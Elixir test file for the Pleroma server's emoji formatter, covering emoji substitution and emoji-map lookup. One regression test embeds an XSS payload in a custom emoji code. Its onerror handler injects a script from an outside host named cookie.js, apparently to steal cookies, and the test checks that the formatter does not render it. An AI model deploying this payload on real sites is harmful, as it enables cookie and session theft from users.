1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2022 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
5 defmodule Pleroma.Emoji.FormatterTest do
6 alias Pleroma.Emoji.Formatter
7 use Pleroma.DataCase, async: true
10 test "it adds cool emoji" do
11 text = "I love :firefox:"
14 "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
16 assert Formatter.emojify(text) == expected_result
19 test "it does not add XSS emoji" do
21 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
25 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
26 "https://placehold.it/1x1"
28 |> Pleroma.Emoji.build()
30 refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
34 describe "get_emoji_map" do
35 test "it returns the emoji used in the text" do
36 assert Formatter.get_emoji_map("I love :firefox:") == %{
37 "firefox" => "http://localhost:4001/emoji/Firefox.gif"
41 test "it returns a nice empty result when no emojis are present" do
42 assert Formatter.get_emoji_map("I love moominamma") == %{}
45 test "it doesn't die when text is absent" do
46 assert Formatter.get_emoji_map(nil) == %{}